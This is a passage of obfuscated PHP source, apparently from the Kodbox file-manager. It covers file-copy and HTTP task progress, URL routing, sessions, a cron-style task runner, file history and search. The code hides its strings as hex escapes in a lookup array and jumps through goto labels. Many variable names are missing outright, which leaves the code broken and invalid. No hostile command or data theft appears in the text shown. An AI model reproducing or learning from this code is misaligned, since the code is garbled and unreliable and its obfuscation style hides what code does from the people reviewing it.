$[$[32]]; $ӳ[$[1154]] = $[$[32]]; $ӳ[$[1843]] = $[$[97]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1837]] += $[$[89]]; $[$[1843]] = $[$[97]]; $this->update(1); } public function copyFileStart($ɪ, $ǃ, $Ǩ, $, $, $) { $ =& $_SERVER[]; $ӱ = $; if ($ӱ == $GLOBALS[$[1844]]) { $ӱ = $GLOBALS[$[1845]]; } $GLOBALS[$[1845]] = $; $GLOBALS[$[1844]] = $; $Ο =& $this->task; $Ο[$[1830]] = $ӱ; $Ο[$[1832]] = (int) $ɪ->size($ǃ); $Ο[$[1833]] = 0; $Ο[$[1154]] = $[12]; $Ο[$[1834]] = $[12]; $Ο[$[1835]] = 0; $э = $Ο[$[1832]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($Ο[$[484]] . $[1846]); if ($э && file_exists(get_path_father($))) { Cache::set($Ο[$[484]] . $[1846], $); $Ο[$[1803]] = array($[1847], $[1848]); } $this->update(0, $э); } public static function updateCopyLocalFileSize($̀) { $ =& $_SERVER[]; $ۛӺ = Cache::get($̀[$[484]] . $[1846]); if (!$ۛӺ || !file_exists($ۛӺ)) { return $̀; } $̀[$[1833]] = @filesize($ۛӺ); $̀[$[1837]] += $̀[$[1833]]; self::updateTask($̀); return $̀; } public function copyFileEnd($캶, $׎, $ͬ, $Ǻ, $, $) { $ܿ =& $_SERVER[]; $ =& $this->task; $[$ܿ[1833]] = $[$ܿ[1832]]; $[$ܿ[1834]] = $ܿ[12]; unset($[$ܿ[1803]]); if ($ == $[$ܿ[1830]]) { $[$ܿ[1836]] += $[$ܿ[1832]]; $[$ܿ[1837]] = $[$ܿ[1836]]; $ = 1; if (isset($[$ܿ[1843]]) && $[$ܿ[1843]] == $׎) { $ = 0; } $this->update($); } else { $this->update(); $[$ܿ[1833]] = 0; } Cache::remove($[$ܿ[484]] . $ܿ[1846]); self::log($ܿ[1849] . $׎ . $ܿ[83] . $Ǻ . $ܿ[65] . $ . $ܿ[1850] . $[$ܿ[1830]]); } public function updateFileEnd($м, $͎) { $Ñ =& $_SERVER[]; $ =& $this->task; $[$Ñ[1830]] = $м; $[$Ñ[1832]] = $͎; $[$Ñ[1836]] += $͎; $[$Ñ[1837]] = $[$Ñ[1836]]; $this->update(1); self::log($Ñ[1851] . $м); } public function sourceModelCopy($΁) { $ =& $_SERVER[]; $Γ = $΁[0]; $ = $΁[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $Ց = 0; switch ($Γ) { case $[644]: $Ց = 1; break; case $[647]: $[$[1830]] = $[$[32]]; break; case $[649]: $Ց = intval($΁[$[465]] * 0.4); break; case $[651]: $Ց = intval($΁[$[465]] * 0.2); break; case $[653]: $Ց = intval($΁[$[465]] * 0.4); break; } $this->update($Ց); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $޷) { $穵 =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $б = 1; if (isset($[$穵[92]])) { $б = $[$穵[92]][$穵[90]]; $б = $б + $[$穵[92]][$穵[91]] + 1; } $this->update($б); $this->sourceModelCopyFlag = !1; } public function sourceMove($㍾) { $this->sourceRemove($㍾, !1); } public function curlProgress($, $ԧ, $φ, $ֈ, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1154]] = $[1852]; $[$[1834]] = $[120]; if ($[$[1832]]) { $[$[1833]] = $; } if ($[$[1835]]) { $[$[1833]] = $ + $[$[1835]]; } } else { if ($φ > 0) { if ($[$[1832]] == $ԧ) { $[$[1833]] = $φ; $[$[1154]] = $[1853]; $[$[1834]] = $[1290]; } } } $this->update(); } public function curlProgressStart($ոҖ) { } public function curlProgressEnd($҃) { $񖯻 =& $_SERVER[]; $ϩ׆ =& $this->task; $闰 = curl_getinfo($҃); $⭘ = $闰[$񖯻[1854]]; if ($⭘ == -1) { $⭘ = $闰[$񖯻[1855]]; } if ($ϩ׆[$񖯻[1834]] == $񖯻[120] && $⭘) { $ϩ׆[$񖯻[1835]] += $⭘; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1856]] = 1; Hook::bind($[1824], array($this, $[1857])); Hook::bind($[1826], array($this, $[1858])); Hook::bind($[1828], array($this, $[1859])); } protected function endAfter() { $ð =& $_SERVER[]; Hook::unbind($ð[1824], array($this, $ð[1857])); Hook::unbind($ð[1826], array($this, $ð[1858])); Hook::unbind($ð[1828], array($this, $ð[1859])); } public function progressStart($ٔ) { $ܭؿ =& $_SERVER[]; $ߔ = curl_getinfo($ٔ); self::log($ܭؿ[1860] . $ߔ[$ܭؿ[392]]); self::valueSet($this->task[$ܭؿ[484]], $this->task); } public function progressEnd($) { $ =& $_SERVER[]; self::log($[1861] . $this->task[$[484]]); $this->end(); } public function progress($Û, $߈, $, $, $ܟ) { $׆ =& $_SERVER[]; $㔞 =& $this->task; if ($ܟ > 0) { $㔞[$׆[1152]] = $㔞[$׆[1152]] == 0 ? $ : $㔞[$׆[1152]]; $㔞[$׆[1780]] = $ܟ; } else { if ($ > 0) { $㔞[$׆[1152]] = $㔞[$׆[1152]] == 0 ? $߈ : $㔞[$׆[1152]]; $㔞[$׆[1780]] = $; } } $this->update(); self::log("\x70\162\157\x67\x72\x65\x73\163\x48\164\x74\x70\72\x64\157\167\x6e\x3a{$}\x2f{$߈}\x3b\40\x75\x70\x6c\157\x61\144\x3a{$ܟ}\57{$}\x3b"); } } goto cǞ; dҏ: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\141\x6e\x79" => "\x5b\x5e\57\x5d\x2b", "\x3a\x6e\165\155" => "\x5b\x30\55\x39\135\x2b", "\72\x61\x6c\154" => "\56\x2a"); public static $errorCallback; public static function __callstatic($ۈ, $) { $ =& $_SERVER[]; if ($ۈ == $[1715]) { $۝ = array_map($[1716], $[0]); $ = strpos($[1], $[8]) === 0 ? $[1] : $[8] . $[1]; $ = $[2]; } else { $۝ = null; $ = strpos($[0], $[8]) === 0 ? $[0] : $[8] . $[0]; $ = $[1]; } array_push(self::$maps, $۝); array_push(self::$routes, $); array_push(self::$methods, strtoupper($ۈ)); array_push(self::$callbacks, $); } public static function error($ƫ) { self::$errorCallback = $ƫ; } public static function haltOnMatch($Κ = true) { self::$halts = $Κ; } public static function dispatch() { $⏭ =& $_SERVER[]; $Ɖ = parse_url($_SERVER[$⏭[1717]], PHP_URL_PATH); $ = $_SERVER[$⏭[174]]; $ = array_keys(static::$patterns); $ۖ = array_values(static::$patterns); $І = !1; self::$routes = preg_replace($⏭[1372], $⏭[8], self::$routes); if (in_array($Ɖ, self::$routes)) { $ԍ = array_keys(self::$routes, $Ɖ); foreach ($ԍ as $) { if (self::$methods[$] == $ || self::$methods[$] == $⏭[1718] || in_array($, self::$maps[$])) { $І = !0; if (!is_object(self::$callbacks[$])) { $œ = explode($⏭[8], self::$callbacks[$]); $܌Ԛ = end($œ); $ڒ = explode($⏭[1304], $܌Ԛ); $ = new $ڒ[0](); $->{$ڒ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ب = 0; foreach (self::$routes as $) { if (strpos($, $⏭[4]) !== !1) { $ = str_replace($, $ۖ, $); } if (preg_match($⏭[1719] . $ . $⏭[1720], $Ɖ, $֕͠)) { if (self::$methods[$ب] == $ || self::$methods[$ب] == $⏭[1718] || !empty(self::$maps[$ب]) && in_array($, self::$maps[$ب])) { $І = !0; array_shift($֕͠); if (!is_object(self::$callbacks[$ب])) { $œ = explode($⏭[8], self::$callbacks[$ب]); $܌Ԛ = end($œ); $ڒ = explode($⏭[1304], $܌Ԛ); $ = new $ڒ[0](); if (!method_exists($, $ڒ[1])) { echo $⏭[1721]; } else { call_user_func_array(array($, $ڒ[1]), $֕͠); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ب], $֕͠); if (self::$halts) { return; } } } } $ب++; } } if ($І == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[]; header($_SERVER[$[1722]] . $[1723]); echo $[1724]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$⏭[1717]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[]; static $ = false; if ($) { return $; } $ = $GLOBALS[$[6]][$[434]]; self::$sessionTime = $[$[1725]]; $² = isset($GLOBALS[$[1726]]) ? $GLOBALS[$[1726]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($²)) { self::$sessionSign = Cookie::get($²); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($², self::$sessionSign, self::$sessionTime); $艜 = $[$[1727]]; $ = $[$艜]; $ = $[$[917]]; switch ($艜) { case $[21]: self::$handle = Model($[918]); break; case $[919]: self::$handle = new CacheRedis($, $); break; case $[920]: self::$handle = new CacheMemcached($, $); break; case $[240]: $[$[97]] = $[$[97]] . $[1728]; self::$handle = new CacheFile($, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($) { $۲ֺ = self::$handle->get($); $۲ֺ = unserialize($۲ֺ); return is_array($۲ֺ) ? $۲ֺ : array(); } public static function setBySign($΁, $ŸԺ) { CacheLock::lock($΁); self::$handle->set($΁, serialize($ŸԺ), self::$sessionTime); CacheLock::unlock($΁); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($, $퇺͌ = false) { self::init(); if (is_array($)) { foreach ($ as $Х => $ϥ) { array_set_value(self::$data, $Х, $ϥ); } } else { array_set_value(self::$data, $, $퇺͌); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ԁ = false) { self::init(); if (!$ԁ) { return self::$data; } return array_get_value(self::$data, $ԁ); } public static function remove($ː) { self::init(); unset(self::$data[$ː]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][923])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[839]) != $[101]) { return; } if (self::valueGet($[1729]) == $[101]) { $٫ = self::valueGet($[1730]); if (time() - $٫ > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($[1729], $[101]); self::log($[1731] . ACTION . $[1732]); Hook::bind($[1733], $[1734]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[839]) != $[101]) { self::valueSet($[1729], $[238]); self::log($[1735]); die; } $͈ = time(); if ($͈ - $ >= 60) { self::valueSet(array($[1729] => $[101], $[1730] => $͈)); $ = $͈; } if (!file_exists(USER_SYSTEM . $[1736])) { self::valueSet(array($[1729] => $[238], $[839] => $[238])); self::log($[1737]); die; } $ޘ = file_get_contents(BASIC_PATH . $[1738]); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = match_text($ޘ, $[1739]) . $[10] . match_text($ޘ, $[1740]); if ($ != $) { self::restart(); self::log("\163\x74\157\x70\x65\144\56\x5b\166\x65\162\163\151\x6f\156\x20\x75\x70\144\141\x74\145\x3b{$versionNow}\x20\x3d\x3e\40{$version}\x5d"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $҅ =& $_SERVER[]; http_close(); $GLOBALS[$҅[1741]] = 1; $_SERVER[$҅[1742]] = $҅[1743]; $_COOKIE = array(); $GLOBALS[$҅[1744]] = 1; $GLOBALS[$҅[1745]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $壪 =& $_SERVER[]; http_close(); self::valueSet($壪[839], $壪[238]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($壪[1729] => $壪[238], $壪[839] => $壪[101])); self::log($壪[1746]); } public static function taskSwitch() { $ž =& $_SERVER[]; $̝ = self::valueGet($ž[839]) == $ž[101] ? $ž[238] : $ž[101]; self::valueSet($ž[839], $̝); } public static function shutdownEvent() { $Ř =& $_SERVER[]; self::valueSet($Ř[1729], $Ř[238]); self::log($Ř[1747]); } public static function config($먐, $Ї) { self::valueSet($_SERVER[][839], $먐); } private static function taskRunAll() { $͔ =& $_SERVER[]; $ퟰ = timeFloat(); $ = Model($͔[1748])->listData(); $Ժ핐 = count($); for ($ڡގ = 0; $ڡގ < $Ժ핐; $ڡގ++) { $ = $[$ڡގ]; if (!$[$͔[484]] || $[$͔[1749]] != $͔[101]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($͔[1750]); self::taskQueueRun($ퟰ); } private static function taskQueueRun($) { $Ӫ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $Ӫ) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[]; $ = json_decode($[$[216]], !0); $߬ = intval($[$[1730]]); $ = strtotime($[1751] . $[$[1752]] . $[1753]) - strtotime($[1754]); $ޱų = time() - strtotime(date($[1755]) . $[1756]); $ӈ = $ޱų >= $ && $ޱų <= $ + 3600; switch ($[$[33]]) { case $[1757]: if (time() - $߬ < 3600 * 24 * 30) { return !1; } if ($[$[1757]] == date($[1758]) && $ӈ) { return !0; } break; case $[1759]: if (time() - $߬ < 3600 * 24 * 7) { return !1; } $Ŵ = date($[1760]) == 0 ? 7 : date($[1760]); if ($[$[1759]] == $Ŵ && $ӈ) { return !0; } break; case $[1752]: if (time() - $߬ < 3600 * 24) { return !1; } if ($ӈ) { return !0; } break; case $[1761]: if (time() - $߬ >= floatval($[$[1761]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ֽ = 0; $ = 300; if (!$ֽ) { $ֽ = time(); } if (time() - $ֽ < $) { return; } $ֽ = time(); $詨 = Model($[586])->db($[12]); if ($詨) { $詨->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1762], $[1763]); die; } } public static function taskRun($Ŋ) { $򞹘 =& $_SERVER[]; self::log($򞹘[1764] . $Ŋ[$򞹘[484]] . $򞹘[1765] . $Ŋ[$򞹘[32]] . $򞹘[1766] . $Ŋ[$򞹘[1767]]); Model($򞹘[1748])->run($Ŋ[$򞹘[484]]); $ҥ = timeFloat(); $ = $򞹘[12]; switch ($Ŋ[$򞹘[33]]) { case $򞹘[392]: $ = url_request($Ŋ[$򞹘[1767]], $򞹘[271], !1, !1, !1, !1, 10); if ($[$򞹘[839]]) { $ = strlen($[$򞹘[1298]]); } break; case $򞹘[270]: $ = Hook::apply($Ŋ[$򞹘[1767]]); default: break; } Model($򞹘[1768])->add(array($򞹘[1769] => $򞹘[12], $򞹘[1770] => $򞹘[238], $򞹘[33] => $򞹘[1771] . $Ŋ[$򞹘[484]], $򞹘[1772] => json_encode(array($򞹘[32] => $Ŋ[$򞹘[32]], $򞹘[1773] => timeFloat() - $ҥ, $򞹘[378] => $)))); $ = $ ? $򞹘[1774] . $ : $򞹘[12]; self::log($򞹘[1775] . $Ŋ[$򞹘[484]] . $򞹘[188] . $); return !0; } public static function valueGet($) { $Շ =& $_SERVER[]; $ = $Շ[1776]; $敥 = Model($Շ[517])->get($, $); if (is_null($敥)) { Model($Շ[517])->set($Շ[839], $Շ[101], $); Model($Շ[517])->set($Շ[1729], $Շ[238], $); $敥 = Model($Շ[517])->get($, $); } return $敥; } private static function valueSet($, $ܺ = false) { $ =& $_SERVER[]; $Ҝ = $[1777]; CacheLock::lock($Ҝ); $ = Model($[517])->set($, $ܺ, $[1776]); CacheLock::unlock($Ҝ); return $; } protected static function log($ߡс) { write_log($ߡс, $_SERVER[][1763]); } private static function cacheClear() { $ˮᇢ =& $_SERVER[]; Cache::clearMemory(Model($ˮᇢ[517])->cacheKey($ˮᇢ[1776])); Cache::clearMemory(Model($ˮᇢ[517])->cacheKey($ˮᇢ[1778])); Model($ˮᇢ[1748])->cacheClear(); self::closeDatabase(); } } goto b凚; EǷ: class SourceHistoryModel extends ModelBase { protected $tableName = "\151\157\137\x73\x6f\x75\x72\143\145\x5f\150\x69\x73\x74\157\x72\171"; public function historyCount($) { $Ӎ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($Ӎ[203], $Ӎ[2011] => $Ӎ[574]); $κ = array($Ӎ[203] => array($Ӎ[7], $)); $ = $this->field($)->where($κ)->group($Ӎ[203])->select(); return array_to_keyvalue($, $Ӎ[203], $Ӎ[574]); } public function addHistory($, $ = '') { $ =& $_SERVER[]; $ = array($[500] => $[$[203]], $[1770] => isset($[$[538]]) ? $[$[538]] : $[$[536]], $[551] => $[$[550]], $[626] => $[$[89]], $[2228] => $); if ($GLOBALS[$[6]][$[102]][$[1313]] >= 1) { $this->historyAutoClear($[$[203]]); $this->add($); } Hook::trigger($[2229], $); Model($[2230])->eventFileEdit($[$[203]]); } private function historyAutoClear($) { $ =& $_SERVER[]; $̤ = Model($[859])->get($[1335]); $ڝ = intval($GLOBALS[$[6]][$[102]][$[1313]]); $ = $̤ == $[1336] ? min(5, $ڝ) : $ڝ; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 499) { return; } $ÚӅ = array($[500] => $); $ִ = $this->field($[2231])->where($ÚӅ)->order($[2225])->select(); if (!$ִ || $ >= count($ִ)) { return; } $ = array_to_keyvalue($ִ, $[12], $[484]); $ = array_slice($, $); $ի = array_to_keyvalue($ִ, $[12], $[550]); $ի = array_slice($ի, $); if (!$ || !$ի) { return; } $ÚӅ = array($[502] => array($[7], $)); $this->where($ÚӅ)->delete(); Model($[553])->remove($ի); } public function listData($˕) { $͂ =& $_SERVER[]; $Ԧ = array($͂[500] => $˕); $ = $͂[2232]; $׮ = $this->field($)->where($Ԧ)->order($͂[2225])->selectPage(); $this->_listAppendUser($׮[$͂[454]]); $ = Model($͂[859])->get($͂[1335]); $ = 5; if ($ == $͂[1336]) { $׮[$͂[454]] = array_slice($׮[$͂[454]], 0, $); $׮[$͂[451]] = array($͂[2233] => 1, $͂[2234] => 20, $͂[2235] => 1, $͂[2236] => count($׮[$͂[454]])); } return $׮; } protected function _listAppendUser(&$î) { $䷳ =& $_SERVER[]; $› = array_to_keyvalue($î, $䷳[12], $䷳[1779]); $쐵NJ = Model($䷳[607])->userListInfo($›); foreach ($î as &$ⷊ) { $ؖ = $ⷊ[$䷳[1779]]; $ⷊ[$䷳[536]] = $쐵NJ[$ؖ] ? $쐵NJ[$ؖ] : !1; } unset($ⷊ); } public function fileInfo($ɱ) { $ނ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}\151\x6f\x5f\x66\x69\x6c\x65\40\146\151\154\x65\163\40\x6f\x6e\x20\146\x69\x6c\145\163\x2e\x66\151\154\x65\x49\104\x20\75\40\150\x69\x73\x74\x6f\x72\x79\x2e\146\x69\x6c\145\x49\104"; return $this->alias($ނ[2237])->where(array($ނ[502] => $ɱ))->join($, $ނ[2238])->find(); } public function removeItem($ٞۧ) { $ =& $_SERVER[]; $ = array($[502] => $ٞۧ); $ǎҎ = $this->where($)->find(); if ($ǎҎ) { $ь鉟 = $this->where($)->delete(); Model($[553])->remove($ǎҎ[$[550]]); return $ь鉟; } return !1; } public function removeBySource($Ց) { $Ȣ =& $_SERVER[]; if (!$Ց) { return !1; } if (!is_array($Ց)) { $Ց = array($Ց); } $޹ = array($Ȣ[500] => array($Ȣ[7], $Ց)); $ = $this->field($Ȣ[551])->where($޹)->select(); if ($) { $this->where($޹)->delete(); $ = array_to_keyvalue($, $Ȣ[12], $Ȣ[550]); Model($Ȣ[553])->remove($); } return !0; } public function setDetail($בǗ, $) { $ =& $_SERVER[]; return $this->where(array($[502] => $בǗ))->save(array($[2228] => $)); } public function rollbackToItem($, $Ȃ) { $Ȼ =& $_SERVER[]; $ = Model($Ȼ[914])->sourceInfo($); $this->addHistory($, LNG($Ȼ[2239])); $ = $this->find($Ȃ); $ = array($Ȼ[550] => $[$Ȼ[550]], $Ȼ[89] => $[$Ȼ[89]], $Ȼ[98] => time(), $Ȼ[538] => USER_ID); Model($Ȼ[914])->where(array($Ȼ[203] => $))->save($); return $this->where(array($Ȼ[502] => $Ȃ))->delete(); } public function clearSame($) { $ɽό =& $_SERVER[]; $ = $this->listData($); $Ȗ = array_to_keyvalue_group($, $ɽό[550]); $ = array(); $غ = array(); foreach ($Ȗ as $ȕ) { if (!$ȕ || count($ȕ) <= 1) { continue; } foreach ($ȕ as $) { $[] = $[$ɽό[550]]; $غ[] = $[$ɽό[484]]; } } if (!$غ) { return; } $this->where(array($ɽό[484] => array($ɽό[7], $غ)))->delete(); Model($ɽό[553])->remove($); } public function userSpace() { $ =& $_SERVER[]; $ᗆẚ = $this->tablePrefix; $ = array($[1770] => USER_ID); $Ю = "{$ᗆẚ}\x69\157\137\x66\151\x6c\x65\40\146\x69\154\145\163\x20\x6f\x6e\x20\146\151\154\145\163\56\146\151\x6c\145\111\x44\40\x3d\40\150\151\x73\164\x6f\162\171\x2e\146\151\x6c\x65\x49\x44"; return $this->alias($[2237])->where($)->join($Ю, $[2238])->sum($[89]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $Š =& $_SERVER[]; $ = KodIO::fileTypeList(); $ᑕ = $[$]; if (!$ᑕ) { return array(); } $Ұׂ = $ᑕ[$Š[179]]; $ = $Š[7]; if (!$ᑕ[$Š[179]]) { $ = array_to_keyvalue($, $Š[12], $Š[179]); $Ұׂ = implode($Š[50], $); $ = $Š[2240]; } $ = explode($Š[50], trim($Ұׂ, $Š[50])); return array($, $); } public function listPathType($À) { $ּ =& $_SERVER[]; $ = $this->fileTypeWhere($À); if (!$) { return array(); } $ث = USER_ID; $˫ӊ = Model($ּ[607])->getInfo($ث); $짝گ = array($ּ[657] => SourceModel::TYPE_USER, $ּ[593] => array($ּ[621], $ּ[603] . $˫ӊ[$ּ[100]][$ּ[203]] . $ּ[622]), $ּ[658] => $ث, $ּ[655] => 0, $ּ[656] => $); return $this->listSource($짝گ); } public function listSearch($, $ = 300) { $܌ =& $_SERVER[]; if (isset($[$܌[2076]]) && $[$܌[2076]]) { $[$܌[2076]] = str_replace($܌[469], $܌[2241], trim($[$܌[2076]])); } $߀Ʊ = $this->_parseSearchWhere($); if (!isset($߀Ʊ[$܌[514]])) { $߀Ʊ[$܌[514]] = 0; } $ = $܌[2242]; $ = $߀Ʊ; $Ǚ = $; $this->_listSearchBindPinyin($, $߀Ʊ, $); $this->alias($܌[528])->_makeOrder(); $߀Ʊ = $this->parseWhereLike($߀Ʊ); $֋ = $this->distinct(!0)->field($)->where($߀Ʊ)->selectPage($); if ($GLOBALS[$܌[6]][$܌[466]][$܌[467]] && Input::check($[$܌[2076]], $܌[664]) && $֋[$܌[451]][$܌[438]] == 1 && $֋[$܌[451]][$܌[452]] == 0) { $֋ = $this->distinct(!0)->field($)->where($)->limit(1000)->select(); $֋ = array_page_split($֋, !1, $); } $this->_listSearchFileContent($֋, $, $Ǚ, $); $this->_listSearchDesc($֋, $, $Ǚ); $this->_listSearchTag($֋, $, $Ǚ); $this->_listSearchGroupTag($֋, $, $Ǚ); $this->_listDataApply($֋[$܌[454]]); $this->_listMake($֋); return $֋; } private function _listSearchFileContent(&$󣗚, $, $Ẅ, $𨰱) { $⮈ =& $_SERVER[]; if (!$[$⮈[2076]] || $󣗚[$⮈[451]][$⮈[438]] > 1) { return; } if (!isset($𨰱[$⮈[32]]) || !is_array($[$⮈[550]])) { return; } $𨰱[$⮈[550]] = array($⮈[7], $[$⮈[550]]); unset($𨰱[$⮈[32]]); unset($[$⮈[550]]); $М = $this->field($Ẅ)->where($𨰱)->limit($⮈[2243])->select(); if (!$М || count($М) == 0) { return; } $󣗚[$⮈[454]] = array_merge($М, $󣗚[$⮈[454]]); $󣗚[$⮈[451]][$⮈[452]] += count($М); } private function _listSearchTag(&$썮, $, $ñ) { $ =& $_SERVER[]; if (!$[$[2076]] || $썮[$[451]][$[438]] > 1) { return; } $݌ = Model($[2244])->listData(); $ۯ = array(); $ = $[$[2076]]; foreach ($݌ as $պ) { $ = $պ[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $ۯ[] = $պ[$[484]]; } } if (!$ۯ) { return; } $އǂ = array($[509] => array($[7], $ۯ), $[1779] => USER_ID); $ο = Model($[511])->field($[97])->where($އǂ)->select(); $ο = array_to_keyvalue($ο, $[12], $[97]); $ = array_unique($ο); $this->_listSearchMerge($썮, $, $ñ, $); } private function _listSearchDesc(&$߭, $腚, $) { $ߔ =& $_SERVER[]; if (!$腚[$ߔ[2076]] || $߭[$ߔ[451]][$ߔ[438]] > 1) { return; } $ƌ = array($ߔ[107] => $ߔ[535], $ߔ[459] => array($ߔ[468], $ߔ[2078] . $腚[$ߔ[2076]] . $ߔ[2078])); $ = !1; if ($) { $̸ = $this->listSearchChildren($腚[$ߔ[202]]); $̸ = array_unique($̸); if (!$̸) { return; } $ƌ[$ߔ[203]] = array($ߔ[7], $̸); } $Ԓ = Model($ߔ[641])->field($ߔ[203])->where($ƌ)->limit(5000)->select(); $ș = array_to_keyvalue($Ԓ, $ߔ[12], $ߔ[203]); $this->_listSearchMerge($߭, $腚, $, $ș); } private function _listSearchGroupTag(&$޺, $, $׵) { $ =& $_SERVER[]; if (!$[$[2076]] || $޺[$[451]][$[438]] > 1 || !$[$[202]]) { return; } $ɵ = $this->sourceInfo($[$[202]]); if (!$ɵ || $ɵ[$[200]] != SourceModel::TYPE_GROUP) { return; } $ = $ɵ[$[578]]; $Ժ = Model($[2245])->get($); $֩ = array(); $ٗ = $[$[2076]]; foreach ($Ժ[$[454]] as $١) { $ۉ = $١[$[32]]; $‚ = str_replace($[53], $[12], Pinyin::get($ۉ)); if (stripos($ۉ, $ٗ) !== !1 || stripos($‚, $ٗ) !== !1) { $֩[] = $١[$[484]]; } } if (!$֩) { return; } $ڄ = array($[509] => array($[7], $֩), $[1779] => 0, $[33] => $[2098] . $); $ = Model($[511])->field($[97])->where($ڄ)->select(); $ = array_to_keyvalue($, $[12], $[97]); $᤺ = array_unique($); $this->_listSearchMerge($޺, $, $׵, $᤺); } private function _listSearchMerge(&$Ь, $, $, $) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($Ь[$[454]], $[12], $[203]); $׀ž = array_diff($, $); if (!$׀ž) { return; } $ = array($[203] => array($[7], $׀ž)); $鱿 = $this->field($)->where($)->select(); if (!$鱿) { return; } $̝ = array(); foreach ($鱿 as $ތ) { if ($this->_listSearchFilter($ތ, $)) { $̝[] = $ތ; } } $Ь[$[454]] = array_merge($̝, $Ь[$[454]]); $Ь[$[451]][$[452]] += count($̝); } private function _listSearchFilter($, $) { $н =& $_SERVER[]; $侱 = $[$н[494]] == $н[101]; if (!strstr($[$н[593]], $н[50] . $[$н[202]] . $н[50])) { return !1; } if (isset($[$н[495]]) && $[$н[495]] != $н[865]) { if ($[$н[495]] == $н[88] && !$侱) { return !1; } if ($[$н[495]] != $н[88] && $侱) { return !1; } if (!strstr($[$н[179]], $н[50] . $[$н[495]] . $н[50])) { return !1; } } if (isset($[$н[2246]]) && $[$н[2246]] < $[$н[89]]) { return !1; } if (isset($[$н[2247]]) && $[$н[2247]] > $[$н[89]]) { return !1; } if (isset($[$н[671]]) && $[$н[671]] != $[$н[538]]) { return !1; } return !0; } public function listSearchChildren($ϱƗ, $Ԙ = 5000) { $з =& $_SERVER[]; $ʗ = array(); $ᯛ = $this->sourceInfo($ϱƗ); $թι = array($з[593] => array($з[468], $ᯛ[$з[593]] . $ᯛ[$з[203]] . $з[622])); $ = $this->field($з[89])->where($թι)->limit($Ԙ + 1)->select(); $ = is_array($) ? count($) : 0; if ($ > $Ԙ) { return $this->_listSearchChildrenNear($ϱƗ, $Ԙ); } $ν = $this->field($з[203])->where($թι)->select(); $ʗ = array_to_keyvalue($ν, $з[12], $з[203]); return $ʗ; } private function _listSearchChildrenNear($, $) { $註ܝ =& $_SERVER[]; $ = array(); $Ţ = array($註ܝ[202] => $); $ = $this->field($註ܝ[2248])->where($Ţ)->select(); $ˉɃذ = array_to_keyvalue(array_filter_by_field($, $註ܝ[494], $註ܝ[101]), $註ܝ[12], $註ܝ[203]); $ = array_merge($, array_to_keyvalue($, $註ܝ[12], $註ܝ[203])); if (!$ˉɃذ) { return $; } $Ţ = array($註ܝ[202] => array($註ܝ[7], $ˉɃذ)); $ = $this->field($註ܝ[2248])->where($Ţ)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $註ܝ[12], $註ܝ[203])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($ŏ, &$, &$œ) { $ =& $_SERVER[]; if (!isset($ŏ[$[2076]]) || !$ŏ[$[2076]]) { return; } if (!Input::check($ŏ[$[2076]], $[403]) || strlen($ŏ[$[2076]]) < 2) { return; } $ = "\114\x45\106\124\40\x4a\x4f\111\116\x20{$this->tablePrefix}\x69\x6f\137\163\157\165\x72\x63\145\x5f\155\x65\164\x61\40\155\145\164\x61\x20\x6f\x6e\x20\163\x6f\165\x72\x63\145\56\163\157\165\162\x63\x65\x49\104\40\75\40\155\145\164\x61\56\x73\x6f\x75\162\x63\x65\111\x44"; $ = array(); $œ = str_replace(array($[65], $[53], $[2249]), $[12], $œ); $œ = 